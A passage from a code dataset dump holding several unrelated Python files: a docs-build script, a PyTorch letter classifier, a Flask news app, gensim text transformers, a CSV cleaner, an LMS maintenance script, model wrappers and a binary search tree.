branches\n# (as these are moved into special locations)\n\ntry:\n force_build_docs = os.environ[\"FORCE_BUILD_DOCS\"]\nexcept Exception:\n force_build_docs = False\n\nif branch not in [\"main\", \"devel\"]:\n if branch.find(version) != -1:\n print(f\"Building the docs for tag {version}\")\n is_tagged_release = True\n elif force_build_docs:\n print(f\"Force-building docs for branch {branch}\")\n else:\n print(f\"We don't build the docs for branch {branch}\")\n sys.exit(0)\n\nos.environ[\"PROJECT_VERSION\"] = version\nos.environ[\"PROJECT_BRANCH\"] = branch\nos.environ[\"PROJECT_RELEASE\"] = release\nos.environ[\"PROJECT_REPOSITORY\"] = repository\nos.environ[\"PROJECT_REVISIONID\"] = revisionid\n\n\ndef run_command(cmd, dry=False):\n \"\"\"Run the passed shell command\"\"\"\n if dry:\n print(f\"[DRY-RUN] {cmd}\")\n return\n\n print(f\"[EXECUTE] {cmd}\")\n\n try:\n args = shlex.split(cmd)\n subprocess.run(args).check_returncode()\n except Exception as e:\n print(f\"[ERROR] {e}\")\n sys.exit(-1)\n\n# install doc dependencies\nreqs = \" \".join([line.lstrip().rstrip() for line in open(f\"{doc_dir}/doc/requirements.txt\", \"r\").readlines()])\n\nprint(f\"Installing doc requirements: {reqs}\")\n\nrun_command(f\"mamba install {reqs}\")\n\n# make the documentation\nprint(f\"Changing into {doc_dir} and building the website...\")\nos.chdir(f\"{doc_dir}/doc\")\nrun_command(\"make\")\n","repo_name":"OpenBioSim/sire_website","sub_path":"actions/build_docs.py","file_name":"build_docs.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"74542877498","text":"import loaddata\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import ndimage\nimport skimage\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\nimport sys\nfrom scipy import ndimage\nfrom sklearn.model_selection import train_test_split\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.optim as optim\nfrom PIL import Image\nimport PIL\n\n\n# Loading in the train data\ntrain_data = loaddata.load_pkl('train_data.pkl')\n\n# Loading in the labels\ntrain_labels = np.load('finalLabelsTrain.npy')\n\n# When attempting to only classify a and b, looking only at reduced set.\nab_train_data = train_data[np.logical_or((train_labels == 1),(train_labels == 2))]\nab_train_labels = train_labels[np.logical_or((train_labels == 1),(train_labels == 2))]\n\n# It appears that in the original data, the letter switches after every count of 9\n\n# List of a,b data points that need to be rotated - this is not used\n\nrot_list = []\nj = 0\n\nfor i in range(1600):\n if(np.shape(ab_train_data[i])[0] < np.shape(ab_train_data[i])[1]):\n rot_list.append(j)\n j = j + 1\n\n\n# The list actually had many points that do not need to be rotated...\n\nrot_list = [241,242,243,244,245,246,247,250,\n 251,252,253,254,255,256,257,258,259,\n 500,501,502,503,504,505,506,507,508,509,\n 510,511,512,513,514,515,516,517,518,519]\n\n# Some things should just be thrown out\ntrash_list = [240,248,249,960]\n\n# Indices of interest\n# 480 is an example of a well written \"a\" that was not automatically centered\n#whatsoever. Many examples of this.\n\n\n# Conclusions from above:\n\n# Not actually that many bad data points. Possible I missed some since \n# I was going by every 10 then checking every one once I found a bad spot,\n# but unlikely since the same individual does every ten\n# There were many cases though where resizing is important.\n# Every rotated image is solved by 270 degrees\n\n# Rotating the above images by 270 degrees, seems to be the only way things went wrong\nfor index in rot_list:\n img = (ab_train_data[index])\n lx, ly = img.shape\n rot_img = ndimage.rotate(img, 270)\n ab_train_data[index] = rot_img\n\n# For every image we resize to (50,50)\nfor i in range(1600):\n ab_train_data[i] = skimage.transform.resize(np.asarray(ab_train_data[i]), (50,50))\n\nfor integers in ab_train_data:\n for x in range(0, 50):\n for y in range(0, 50):\n if integers[x][y] < 0.1:\n integers[x][y] = 0\n else: \n integers[x][y] = 1\n\n#print(ab_train_data)\n\n#change format of truth values so that they can correspond to neural network output\nnew_truth_labels = []\nfor label in ab_train_labels:\n updated_truth_label = np.array([])\n if label == 1:\n updated_truth_label = np.array([1,0])\n else:\n updated_truth_label = np.array([0,1])\n new_truth_labels.append(updated_truth_label)\n\n\n\n#print(type(ab_train_data[0]))\n#convert data into tensors\ndef transform(pictures):\n trans = transforms.Compose([transforms.ToTensor()])\n for p,data in enumerate(pictures):\n pictures[p] = torch.from_numpy(data)\n\ntransform(ab_train_data)\ntransform(new_truth_labels)\nfor index, _ in enumerate(ab_train_data):\n ab_train_data[index] = torch.unsqueeze(input = ab_train_data[index], dim = 0)\n\nTrainingData, TestData, TrainingTruth, TestTruth = train_test_split(ab_train_data,new_truth_labels,test_size=0.2)\n\nprint(type(TrainingData[0]))\n\nclass Net(nn.Module):\n \n def __init__(self):\n super(Net, self).__init__()\n # an affine operation: y = Wx + b\n self.fc1 = nn.Linear(50*50, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 2)\n\n def forward(self, x):\n x = x.view(-1, self.num_flat_features(x))\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n def num_flat_features(self, x):\n size = x.size()[1:] # all dimensions except the batch dimension\n num_features = 1\n for s in size:\n num_features *= s\n return num_features\n\nnet = Net()\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nnet.to(device)\n\nprint(device)\nprint(net)\n\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)\n\nprint(\"Started Training\")\nepoch_num = 10\nlearning_rate = 0.001\n\n\nfor epoch in range(epoch_num): # loop over the dataset multiple times\n running_loss = 0\n for i, data in enumerate(TrainingData, start = 0):\n inputs = data\n# if(list(inputs.size()) != [1, 1, 100, 100]):\n# print(\"skipped because the size turned out to be\", inputs.size())\n# continue\n\n labels = TrainingTruth[i]\n\n inputs, labels = inputs.to(device), labels.to(device)\n \n # zero the parameter gradients\n optimizer.zero_grad()\n\n print(\"here\")\n outputs = net(inputs)\n print(\"here\")\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item()\n # print statistics\n if i % 100 == 99: # print every 100 mini-batches\n print('[%d, %5d] loss: %.3f' %\n (epoch + 1, i + 1, running_loss / 100))\n running_loss = 0.0\nprint(\"Finished Training\")\n","repo_name":"CalamariDude/gradML","sub_path":"project-01-underachieving-undergrads/neural_net_daniel.py","file_name":"neural_net_daniel.py","file_ext":"py","file_size_in_byte":5450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"15442830420","text":"from flask import render_template, redirect, request, url_for\nfrom . import main\nfrom ..requests import get_source, get_articles, search_news, get_topic\nfrom datetime import datetime\n\n\n\n\n@main.app_template_filter('datetimeformat')\ndef datetimeformat(value):\n '''\n Formats dates to a more readable format \n\n '''\n return datetime.strptime(value, '%Y-%m-%dT%H:%M:%SZ').strftime('%m/%d/%Y')\n \n\n@main.route('/')\n@main.route('/home')\ndef index():\n \"\"\"\n Page that displays the news sources as well as the link to articles and website\n \"\"\"\n title = \"Keep up with all the topics that matter to you. All in one place\"\n sources = get_source()\n\n search_news = request.args.get('news_query')\n\n if search_news:\n return redirect(url_for('main.search', topic = search_news))\n else:\n return render_template('index.html', title=title, sites=sources)\n\n@main.route('/articles/')\ndef articles(id):\n '''\n Page that displays a list of articles from a given source\n\n '''\n source_articles = get_articles(id)\n title = 'News articles'\n\n search_news = request.args.get('news_query')\n\n if search_news:\n return redirect(url_for('main.search',topic = search_news))\n else:\n return render_template('source_details.html',title=title, details=source_articles)\n\n@main.route('/search/')\ndef search(topic):\n '''\n View function to display the search results\n '''\n\n news_name_list = topic.split(' ')\n news_name_format = '+'.join(news_name_list)\n searched_topics = get_topic(news_name_format)\n title = f'search results for {topic}'\n\n search_news = request.args.get('news_query')\n\n if search_news:\n return redirect(url_for('main.search',topic = search_news))\n else:\n return render_template('search_results.html',news_topics = searched_topics, t =topic,title=title)\n","repo_name":"Brenda-M/News-Highlights-App-with-Flask","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"17370215340","text":"#!/usr/bin/env python3\n\nimport os\nimport nltk\nimport gensim\nimport unicodedata\n\nfrom nltk.corpus import wordnet as wn\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.pipeline import Pipeline\nfrom gensim.matutils import sparse2full\nfrom gensim.corpora import Dictionary\nfrom gensim.models.tfidfmodel import TfidfModel\nfrom gensim.sklearn_api import lsimodel, ldamodel\n\nclass TextNormalizer(BaseEstimator, TransformerMixin):\n\n def __init__(self, language='english'):\n self.stopwords = set(nltk.corpus.stopwords.words(language))\n self.lemmatizer = WordNetLemmatizer()\n\n def is_punct(self, token):\n return all(\n unicodedata.category(char).startswith('P') for char in token\n )\n\n def is_stopword(self, token):\n return token.lower() in self.stopwords\n\n def normalize(self, document):\n return [\n self.lemmatize(token, tag).lower()\n for paragraph in document\n for sentence in paragraph\n for (token, tag) in sentence\n if not self.is_punct(token) and not self.is_stopword(token)\n ]\n\n def lemmatize(self, token, pos_tag):\n tag = {\n 'N': wn.NOUN,\n 'V': wn.VERB,\n 'R': wn.ADV,\n 'J': wn.ADJ\n }.get(pos_tag[0], wn.NOUN)\n\n return self.lemmatizer.lemmatize(token, tag)\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, documents):\n return [\n self.normalize(document)\n for document in documents\n ]\n\n\n# # To use Gensim’s LdaTransformer, we need to create a custom Scikit-Learn wrapper\n# for Gensim’s TfidfVectorizer so that it can function inside a Scikit-Learn Pipeline.\n# GensimTfidfVectorizer will vectorize our documents ahead of LDA, as well as saving,\n# holding, and loading a custom-fitted lexicon and vectorizer for later use.\nclass GensimTfidfVectorizer(BaseEstimator, TransformerMixin):\n\n def __init__(self, dirpath=\".\", tofull=False):\n \"\"\"\n Pass in a directory that holds the lexicon in corpus.dict and the\n TFIDF model in tfidf.model (for now).\n\n Set tofull = True if the next thing is a Scikit-Learn estimator\n otherwise keep False if the next thing is a Gensim model.\n \"\"\"\n self._lexicon_path = os.path.join(dirpath, \"corpus.dict\")\n self._tfidf_path = os.path.join(dirpath, \"tfidf.model\")\n\n self.lexicon = None\n self.tfidf = None\n self.tofull = tofull\n\n self.load()\n\n# # If the model has already been fit, we can initialize the GensimTfidfVectorizer with a\n# lexicon and vectorizer that can be loaded from disk using the load method. We also\n# implement a save() method, which we will call after fitting the vectorizer.\n def load(self):\n\n if os.path.exists(self._lexicon_path):\n self.lexicon = Dictionary.load(self._lexicon_path)\n\n if os.path.exists(self._tfidf_path):\n self.tfidf = TfidfModel().load(self._tfidf_path)\n\n def save(self):\n self.lexicon.save(self._lexicon_path)\n self.tfidf.save(self._tfidf_path)\n\n# # Next, we implement fit() by creating a Gensim Dictionary object, which takes as\n# an argument a list of normalized documents. We instantiate a Gensim TfidfModel,\n# passing in as an argument the list of documents, each of which have been passed\n# through lexicon.doc2bow, and been transformed into bags of words. We then call\n# the save method, which serializes our lexicon and vectorizer and saves them to disk.\n def fit(self, documents, labels=None):\n self.lexicon = Dictionary(documents)\n self.tfidf = TfidfModel([self.lexicon.doc2bow(doc) for doc in documents], id2word=self.lexicon)\n self.save()\n return self\n\n # We then implement our transform() method, which creates a generator that loops\n# through each of our normalized documents and vectorizes them using the fitted\n# model and their bag-of-words representation.\n def transform(self, documents):\n def generator():\n for document in documents:\n vec = self.tfidf[self.lexicon.doc2bow(document)]\n # Because the next step in our pipeline\n# will be a Gensim model, we initialized our vectorizer to set tofull=False, so that it\n# would output a sparse document format (a sequence of 2-tuples). However, if we\n# were going to use a Scikit-Learn estimator next, we would want to initialize our\n# GensimTfidfVectorizer with tofull=True, which here in our transform method would convert the sparse format into the needed dense representation for Scikit-Learn, an np array.\n if self.tofull:\n yield sparse2full(vec)\n else:\n yield vec\n return list(generator())\n\n\nif __name__ == '__main__':\n from reader import PickledCorpusReader\n\n corpus = PickledCorpusReader('../corpus')\n docs = [\n list(corpus.docs(fileids=fileid))[0]\n for fileid in corpus.fileids()\n ]\n\n model = Pipeline([\n ('norm', TextNormalizer()),\n ('vect', GensimTfidfVectorizer()),\n ('lda', ldamodel.LdaTransformer())])\n\n model.fit_transform(docs)\n\n print(model.named_steps['norm'])\n","repo_name":"olegzinkevich/programming_books_notes_and_codes","sub_path":"benjamin_bengfort_applied_text_analysis/6_clustering/transformers.py","file_name":"transformers.py","file_ext":"py","file_size_in_byte":5307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"4728135321","text":"# Carlos Adir Ely Murussi Leite\n# 150121059\n\nimport sys\n\n\ndef existe_arquivo(nome):\n\ttry:\n\t\tarquivo = open(nome, \"r\")\n\t\tarquivo.close()\n\t\treturn True\n\texcept:\n\t\tpass\n\treturn False\n\ndef le_arquivo(nome):\n\tarquivo = open(nome, \"r\")\n\tlinhas = arquivo.readlines()\n\tarquivo.close()\n\tfor i in range(len(linhas)):\n\t\tlinhas[i] = linhas[i].split('\\n')[0]\n\t\tif '\\r' in linhas[i]:\n\t\t\tlinhas[i] = linhas[i].split('\\r')[0]\n\treturn linhas\n\ndef grava(what, where):\n\tarq = open(where, \"w\")\n\tif type(what) == list or type(what) == tuple:\n\t\tfor i in what:\n\t\t\tif type(i) == list or type(i) == tuple:\n\t\t\t\tfor j in i:\n\t\t\t\t\tarq.write(str(j)+';')\n\t\t\t\tarq.write('\\n')\n\t\t\telse:\n\t\t\t\tarq.write(str(i) + '\\n')\n\telse:\n\t\tarq.write(str(what))\n\nclass info():\n\t\"\"\"docstring for info\"\"\"\n\tdef __init__(self, lista):\n\t\tself.ID = lista[0]\n\t\tself.name = lista[1]\n\t\tself.turma = []\n\t\tself.year = []\n\t\tself.peri = []\n\t\tself.size = []\n\t\tself.postura = []\n\t\tself.atuacao = []\n\t\tself.autoavaliacao = []\n\t\tself.add_infos(lista)\n\tdef add_infos(self, lista):\n\t\t#if(type())\n\t\tif 1900 < lista[3] < 2100:\n\t\t\tif lista[4] > 0:\n\t\t\t\tif lista[5] >= 0:\n\t\t\t\t\tif 0 <= lista[6] <= 10 and 0 <= lista[8] <= 10 and 0 <= lista[10] <= 10:\n\t\t\t\t\t\tif 0 <= lista[7] <= 10 and 0 <= lista[9] <= 10 and 0 <= lista[11] <= 10:\n\t\t\t\t\t\t\tself.turma.append(lista[2])\n\t\t\t\t\t\t\tself.year.append(lista[3])\n\t\t\t\t\t\t\tself.peri.append(lista[4])\n\t\t\t\t\t\t\tself.size.append(lista[5])\n\t\t\t\t\t\t\tself.postura.append((lista[6], lista[7]))\n\t\t\t\t\t\t\tself.atuacao.append((lista[8], lista[9]))\n\t\t\t\t\t\t\tself.autoavaliacao.append((lista[10], lista[11]))\n\t\t\t\t\t\t\tprint(\"Adicionado!\")\n\t\t\t\t\t\t\treturn 1\n\t\tprint(\"Nao foi possivel adicionar a lista:\")\n\t\tprint(lista)\n\n\tdef imprime(self):\n\t\tretorno = \"\"\n\t\tretorno += str(self.ID) + \" - \" + self.name + \": \"\n\t\tretorno += \"\\t Turma: \" + str(self.turma)\n\t\tretorno += \"\\t Ano: \" + str(self.year)\n\t\tretorno += \"\\t Periodo: \" + str(self.peri)\n\t\tretorno += \"\\t Quantidade: \" + str(self.size)\n\t\tretorno += \"\\t Postura: \" + str(self.postura)\n\t\tretorno += \"\\t Atuacao: \" + str(self.atuacao)\n\t\tretorno += \"\\tAutoAvaliacao: \" + str(self.autoavaliacao)\n\t\tprint(retorno)\n\tdef imprime2(self):\n\t\taux = []\n\t\tname = str(self.ID) + \",\" + self.name + \",\"\n\t\tretorno = \"\"\n\t\tfor i in range(len(self.turma)):\n\t\t\taux.append(\"\")\n\t\t\taux[i] += str(self.turma[i]) + \",\" + str(self.year[i]) + \",\" + str(self.peri[i]) + ',' + str(self.size[i]) + \",\"\n\t\t\taux[i] += str(self.postura[i][0]) + ',' + str(self.postura[i][1]) + ','\n\t\t\taux[i] += str(self.atuacao[i][0]) + ',' + str(self.atuacao[i][1]) + ','\n\t\t\taux[i] += str(self.autoavaliacao[i][0]) + ',' + str(self.autoavaliacao[i][1])\n\t\t\tretorno += name + aux[i] + '\\n'\n\t\treturn retorno\n\ndef trata_linhas(linhas):\n\tn = len(linhas)\n\ti = 0\n\twhile i < n:\n\t\ttry:\n\t\t\tlinhas[i][0] = int(linhas[i][0]) # ID do professor\n\t\t\tlinhas[i][2] = int(linhas[i][2]) # ID da turma\n\t\t\tlinhas[i][3] = int(linhas[i][3]) # Ano\n\t\t\tlinhas[i][4] = int(linhas[i][4]) # Periodo\n\t\t\tlinhas[i][5] = int(linhas[i][5]) # Quantidade discentes\n\t\t\tlinhas[i][6] = float(linhas[i][6]) # Media postura profissional\n\t\t\tlinhas[i][7] = float(linhas[i][7]) # Desvio Padrao postura profissional\n\t\t\tlinhas[i][8] = float(linhas[i][8]) # Media atuacao profissional\n\t\t\tlinhas[i][9] = float(linhas[i][9]) # Desvio padrao atuacao profissional\n\t\t\tlinhas[i][10] = float(linhas[i][10]) # Media autoavaliacao profissional\n\t\t\tlinhas[i][11] = float(linhas[i][11]) # desvio padrao autoavaliacao profissional\n\t\t\ti += 1\n\t\texcept:\n\t\t\tprint(\"Removido: \" + str(linhas[i]))\n\t\t\tlinhas.__delitem__(i)\n\t\t\tn -= 1\n\t\n\narquivo = sys.argv[1]\n\nlinhas = le_arquivo(arquivo)\nfor i in range(len(linhas)):\n\tlinhas[i] = linhas[i].split(',')\n\ntrata_linhas(linhas)\n\n\nprofessores = []\nj = -1\nlastID = -1\nlastName = \"\"\nfor i in range(0, len(linhas)):\n\tif linhas[i][0] == lastID and linhas[i][1] == lastName:\n\t\tprofessores[j].add_infos(linhas[i])\n\telif linhas[i][0] == lastID:\n\t\tprint(linhas[i])\n\telif linhas[i][1] == lastName:\n\t\tprint(linhas[i])\t\n\telse:\n\t\tj += 1\n\t\t#print(linhas[i])\n\t\tprofessores.append(info(linhas[i]))\n\t\tlastID = linhas[i][0]\n\t\tlastName = linhas[i][1]\n\nnovo_arq = arquivo.split('.')[0] + \"Tratado.csv\"\nsaida = open(novo_arq, \"w\")\nfor professor in professores:\n\tsaida.write(professor.imprime2())\nsaida.close();\n","repo_name":"carlos-adir/C-Programs","sub_path":"Estrutura de Dados/Trabalho_2/TrataArquivo.py","file_name":"TrataArquivo.py","file_ext":"py","file_size_in_byte":4236,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"493515882","text":"import sys\nimport re\nimport os\n\n\nROOT_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"..\")\n\n\ndef get_code_blocks_from_markdown(markdown_filename: str):\n \"\"\"\n Output code blocks from markdown file given a filename\n Modified code from Codeblocks https://github.com/shamrin/codeblocks\n \"\"\"\n\n regex = re.compile(\n r\"(?P^```(?P(\\w|-)+)\\n)(?P.*?\\n)(?P```)\",\n re.DOTALL | re.MULTILINE,\n )\n with open(markdown_filename, \"r\") as f:\n lines = [line for line in f]\n blocks = [\n (match.group(\"language\"), match.group(\"code\"))\n for match in regex.finditer(\"\".join(lines))\n ]\n return [block for block_language, block in blocks if block_language == \"python\"]\n\n\ndef test_exec_readme_examples():\n \"\"\"\n Simply tests that Python code blocks in the readme can be executed\n \"\"\"\n markdown_python = get_code_blocks_from_markdown(os.path.join(ROOT_DIR, \"README.md\"))\n for section in markdown_python:\n exec(section)\n\n\ndef test_import_example_file():\n sys.path.insert(0, ROOT_DIR)\n\n # test that the example file is valid by importing it\n import example\n\n del sys.path[0]\n","repo_name":"tassaron/dnd-character","sub_path":"tests/test_documentation.py","file_name":"test_documentation.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"23"} +{"seq_id":"15219805214","text":"#!/usr/bin/env python\r\nimport functions.totarav2 as totara\r\nimport cryptography\r\nfrom cryptography.fernet import Fernet\r\nimport os, shutil, sys, glob, tempfile, json\r\nfrom os.path import basename\r\nfrom time import sleep\r\nimport functions.gpg as gpg\r\n\r\nspath = os.getcwd()\r\n#added mode for config or upgarde.json file\r\nif os.path.isfile(spath + '/upgrade.json'):\r\n configpath = spath + '/upgrade.json'\r\n\r\nif os.path.isfile(spath + '/config.json'):\r\n configpath = spath + '/config.json'\r\n\r\n\r\nf = open(configpath,)\r\ndata = json.load(f)\r\n\r\nif os.path.isfile(spath + '/secure.key'):\r\n file = open('secure.key', 'rb') # Open the file as wb to write bytes\r\n key = file.read() # The key is type bytes still\r\n file.close()\r\nelse:\r\n #Will add pgp declater\r\n key = gpg.dec(data['securekey'])\r\n\r\nencryption_type = Fernet(key)\r\n\r\ndef decryt(encval):\r\n enctxt = encval.encode()\r\n decrypted = encryption_type.decrypt(enctxt)\r\n decrypted = decrypted.decode()\r\n return decrypted\r\n\r\nprint (\"I am about to make change to the LMS that are required\")\r\n\r\nurl = \"https://\" + data['lmsaddress']\r\ntotara.webb(url,False)\r\ntotara.login(decryt(data['lmsserver_user']),decryt(data['lmsserver_pass']))\r\nversplit = totara.check_version(url)\r\nprint (\"Getting Version number\")\r\nif (versplit['error'] == False):\r\n ver_major = versplit['major']\r\n ver_minor = versplit['minor']\r\n print (\"Version: \" + ver_major + \".\" + ver_minor)\r\nelse:\r\n sys.exit(versplit['errormsg'])\r\n\r\nif (int(ver_major) >= 10):\r\n print (\"Disabling Content Market\")\r\n totara.disable_content_market(url,ver_major)\r\n print (\"Content Market Disabled \")\r\n\r\n#Clear cache\r\nif (int(ver_major) >= 9):\r\n print (\"Purging Cache\")\r\n totara.purgecache(url,ver_major)\r\n print (\"Cache Purged\")\r\n\r\nif (int(ver_major) >= 12):\r\n print (\"Hiding Course navigation\")\r\n totara.hideblock(url,'Course navigation')\r\n print (\"Hiding Course navigation Done\")\r\n\r\n\r\n\r\n##clouse the LMS page\r\ntotara.close()\r\n","repo_name":"lndaviesn/autotasksv2","sub_path":"scripts/lmschanges.py","file_name":"lmschanges.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"27444537025","text":"import tensorflow as tf\nimport torch\nfrom lib.residual_utils import ResNetCNNPt, ResnetCNNTf\n\n\nclass TsiprasCNN(tf.keras.Model):\n LABEL_RANGES = [\n (151, 268),\n (281, 285),\n (30, 32),\n (33, 37),\n (80, 100),\n (365, 382),\n (389, 397),\n (118, 121),\n (300, 319),\n ]\n\n # Imagenet robust model Tsipras et al\n def __init__(self):\n super(TsiprasCNN, self).__init__()\n self.backbone = ResnetCNNTf()\n self.cast = tf.keras.layers.Activation('linear', dtype=tf.float32)\n\n @staticmethod\n def image_preprocess(image, bgr=True):\n mean = [0.485, 0.456, 0.406] # rgb\n std = [0.229, 0.224, 0.225]\n if bgr:\n mean = mean[::-1]\n std = std[::-1]\n image_mean = tf.constant(mean, dtype=image.dtype)\n image_std = tf.constant(std, dtype=image.dtype)\n image = (image - image_mean) / image_std\n return image\n\n def call(self, inputs, training=True):\n from lib.tf_utils import add_default_end_points\n inputs = self.image_preprocess(inputs)\n logits = self.backbone(inputs, training=training)\n logits = self.cast(logits)\n num_labels = len(TsiprasCNN.LABEL_RANGES)\n return add_default_end_points({\"logits\": logits[:, :num_labels]})\n\n\nclass TsiprasCNNPt(torch.nn.Module):\n LABEL_RANGES = [\n (151, 268),\n (281, 285),\n (30, 32),\n (33, 37),\n (80, 100),\n (365, 382),\n (389, 397),\n (118, 121),\n (300, 319),\n ]\n\n # Imagenet robust model Tsipras et al\n def __init__(self, data_format=\"NHWC\", wrap_outputs=True):\n super(TsiprasCNNPt, self).__init__()\n self.backbone = ResNetCNNPt()\n self.data_format = data_format\n self.wrap_outputs = wrap_outputs\n\n @property\n def device(self):\n return next(self.parameters()).device\n\n @staticmethod\n def image_preprocess(image, bgr=True):\n mean = [0.485, 0.456, 0.406] # rgb\n std = [0.229, 0.224, 0.225]\n if bgr:\n mean = mean[::-1]\n std = std[::-1]\n image_mean = torch.tensor(mean, dtype=torch.float32).to(image.device)\n image_std = torch.tensor(std, dtype=torch.float32).to(image.device)\n image = (image - image_mean) / image_std\n return image\n\n def forward(self, x, wrap_outputs=None):\n from lib.pt_utils import add_default_end_points\n if wrap_outputs is None:\n wrap_outputs = self.wrap_outputs\n x = self.image_preprocess(x)\n if self.data_format == \"NHWC\":\n x = x.permute(0, 3, 1, 2)\n logits = self.backbone(x)\n num_labels = len(TsiprasCNNPt.LABEL_RANGES)\n logits = logits[:, :num_labels]\n if wrap_outputs:\n return add_default_end_points({'logits': logits})\n else:\n return logits\n","repo_name":"aam-at/cpgd","sub_path":"restricted_imagenet/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"13117180048","text":"class Node:\n def __init__(self, key: int):\n self.key: int = key\n self.count: int = 1\n self.left: Node = None\n self.right: Node = None\n\nclass BST:\n def __init__(self):\n self.root = None\n\n def _is_empty(self):\n return self.root is None\n\n def insert(self, key: int):\n if self.root is None:\n self.root = Node(key)\n else:\n self._insert_node(self.root, key)\n\n def _insert_node(self, node: Node, key: int):\n if node is None:\n node = Node(key)\n return # recursion base case (stop)\n \n elif key < node.key:\n if node.left is not None:\n self._insert_node(node.left, key)\n else:\n node.left = Node(key)\n\n elif key > node.key:\n if node.right is not None:\n self._insert_node(node.right, key)\n else:\n node.right = Node(key)\n\n else:\n node.count += 1 # equal/duplicated... then increment count\n\n def in_order_traverse(self, callback: callable):\n self._in_order_traverse_node(self.root, callback)\n\n def pre_order_traverse(self, callback: callable):\n self._pre_order_traverse(self.root, callback)\n\n def post_order_traverse(self, callback: callable):\n self._post_order_traverse(self.root, callback)\n\n def _in_order_traverse_node(self, node: Node, callback: callable):\n if node is None:\n return # recursion base case (stop)\n\n self._in_order_traverse_node(node.left, callback)\n callback(node)\n self._in_order_traverse_node(node.right, callback)\n\n def _pre_order_traverse(self, node: Node, callback: callable):\n if node is None:\n return # recursion base case (stop)\n\n callback(node)\n self._pre_order_traverse(node.left, callback)\n self._pre_order_traverse(node.right, callback)\n\n def _post_order_traverse(self, node: Node, callback: callable):\n if node is None:\n return # recursion base case (stop)\n\n self._post_order_traverse(node.left, callback)\n self._post_order_traverse(node.right, callback)\n callback(node)\n\n def get_min(self):\n if self._is_empty():\n raise Exception(\"Tree is empty\")\n \n return self._get_min_node(self.root)\n\n def _get_min_node(self, node: Node):\n if node.left is not None:\n return self._get_min_node(node.left)\n\n return node.key\n\n def get_max(self):\n if self._is_empty():\n raise Exception(\"Tree is empty\")\n \n return self._get_max_node(self.root)\n \n def _get_max_node(self, node: Node):\n if node.right is not None:\n return self._get_max_node(node.right)\n\n return node.key\n\n # return how many occurrences of key there is in tree\n def find(self, key: int) -> int:\n return self._find_node(key, self.root)\n\n def _find_node(self, key: int, node: Node):\n if node is None:\n return 0\n \n if node.key == key:\n return node.count\n \n if key < node.key:\n return self._find_node(key, node.left)\n\n if key > node.key:\n return self._find_node(key, node.right)\n \n def delete_all(self):\n self._in_order_traverse_node(self.root, self._delete_node_children)\n self.root = None\n\n def _delete_node_children(self, node: Node):\n node.left = None\n node.right = None\n\n def delete(self, key: int) -> bool:\n if self._delete_node_by_key(self.root, key) is not None:\n return True\n return False\n\n def _delete_node_by_key(self, node: Node, key: int) -> Node:\n if node is None:\n return None\n\n if key < node.key:\n node.left = self._delete_node_by_key(node.left, key)\n elif key > node.key:\n node.right = self._delete_node_by_key(node.right, key)\n else:\n if node.count > 1:\n node.count -= 1\n else:\n # Node with only one child or no child\n if node.left is None:\n return node.right\n elif node.right is None:\n return node.left\n\n # Node with two children\n min_right = self._get_min_node(node.right)\n node.key = min_right\n node.count -= 1\n node.right = self._delete_node_by_key(node.right, min_right)\n\n return node\n \n def print_node(self, node: Node):\n occurrences = (\"(\" + str(node.count) + \")\" if node.count > 1 else \"\")\n print(str(node.key) + occurrences)\n\nif __name__ == \"__main__\":\n tree = BST()\n tree.insert(4)\n tree.insert(4)\n tree.insert(4)\n tree.insert(2)\n tree.insert(1)\n tree.insert(3)\n tree.insert(35)\n tree.insert(7)\n tree.insert(6)\n tree.insert(8)\n tree.insert(8)\n tree.insert(8)\n tree.insert(9)\n tree.insert(7)\n tree.insert(10)\n\n # assert tree.find(9) == 1\n # assert tree.find(7) == 2\n # assert tree.find(8) == 3\n # assert tree.get_min() == 1\n # assert tree.get_max() == 35\n\n print(\"in order\")\n tree.in_order_traverse(tree.print_node)\n print(\"pre order\")\n tree.pre_order_traverse(tree.print_node)\n print(\"post order\")\n tree.post_order_traverse(tree.print_node)\n\n tree.delete(8)\n tree.delete(8)\n tree.delete(8)\n tree.delete(35)\n # tree.delete_all()\n\n print(\"in order\")\n tree.in_order_traverse(tree.print_node)\n\n","repo_name":"jrmatos/algorithms-and-data-structures","sub_path":"python/bst.py","file_name":"bst.py","file_ext":"py","file_size_in_byte":5591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"7518052738","text":"import sys\n\n\ndef display_menu(menu):\n for option in menu:\n print(f\"{option}: {menu[option]}\")\n\n\ndef capture_menu_choice(menu):\n # ask for input\n chosen_option = input(\"Please choose: \")\n if chosen_option == \"0\":\n sys.exit(\"ByeBye\")\n try:\n choice = menu[int(chosen_option)]\n except:\n return -1\n\n return 